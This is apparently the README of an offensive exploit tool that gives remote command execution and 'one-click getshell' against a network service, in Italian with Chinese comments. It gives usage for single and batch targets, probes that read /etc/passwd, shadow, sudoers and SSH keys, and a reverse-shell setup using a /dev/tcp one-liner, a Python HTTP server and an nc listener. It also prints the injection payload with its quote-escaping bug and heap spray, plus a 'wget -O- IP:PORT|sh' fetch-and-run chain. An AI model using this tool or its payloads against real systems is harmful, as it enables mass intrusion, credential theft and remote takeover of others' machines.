
Include rilevamento di comandi eseguibili e getshell con un clic (richiede servizio di distribuzione server)
Include comando detect e getshell con un clic (richiede servizio di deployment server) pco.yaml combinato con nuclei per una rapida rilevazione
python go.py
Inserisci l'URL di destinazione → seleziona il menu delle funzioni.
# 快速探测(8 项基本信息)
python go.py -t https://IP:PORT --probe fast
# 深度探测(全部命令:30+ 项)
python go.py -t https://IP:PORT --probe deep
# 批量探测
python go.py -f vulnerable_targets.txt --probe fast
python go.py -t https://IP:PORT -c "hostname"
python go.py -t https://IP:PORT -c "ls -la /root"
python go.py -t https://IP:PORT -c "cat /etc/passwd"
# 批量并发(20 线程)
python go.py -f targets.txt -c "hostname" --batch 20
Sulla macchina attaccante apri due terminali:
# 终端 1 - HTTP 服务(提供 rev.sh)
echo 'bash -i >& /dev/tcp/YOUR_IP/8088 0>&1' > index.html
python3 -m http.server 8087
# 终端 2 - 等待反弹
nc -lvnp 8088
Quindi invia il payload:
# 单目标
python go.py -t https://IP:PORT -l YOUR_IP -p 8087 -n 8088
# 批量(串行,一次只能接一个)
python go.py -f targets.txt -l YOUR_IP -p 8087 -n 8088
Lo script stamperà i passaggi preparativi prima dell'invio.
{"cmd":"getall","apiuser":"''''","apipass":"BBBBB",
"g0":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; <命令> #", ...}
apiuser="''''" scatena il bug di escape_quotes() senza terminazione nullg0~g60 heap spray 61 volte, aumenta il tasso di successo'; <命令> # chiude il contesto, # commenta il restoSenza echo tag si hanno 34 caratteri:
wget -O- IP:PORT|sh (31 字符)
Catena di pipe: wget scarica → sh esegue → bash rimbalza sulla porta specificata.
| Categoria | Comando |
|---|
| Informazioni di base | hostname, uname -a, kernel, OS release, uptime |
| Utenti | id, whoami, users/w/who |
| Rete | ifconfig, route, arp, listening ports, connections, iptables |
| Sistema | processes, cpuinfo, meminfo, disk, mount |
| File | ls / /root /tmp /home /etc |
| Configurazione | crontab, passwd, shadow, sudoers, SSH keys |
| Estensione | config search, scripts, docker, containers |
| Parametro | Descrizione |
|---|
-t, --target URL | Indirizzo di destinazione |
-f, --file FILE | File con elenco di destinazioni |
-l, --lhost IP | IP della macchina attaccante |
-p, --lport PORT | Porta del servizio HTTP (default 8087) |
-n, --ncport PORT | Porta di ascolto nc (default 8088) |
-c, --cmd CMD | Esegui comando |
--probe fast/deep | Rilevazione rapida/approfondita |
--batch N | Numero di esecuzioni parallele (default seriale) |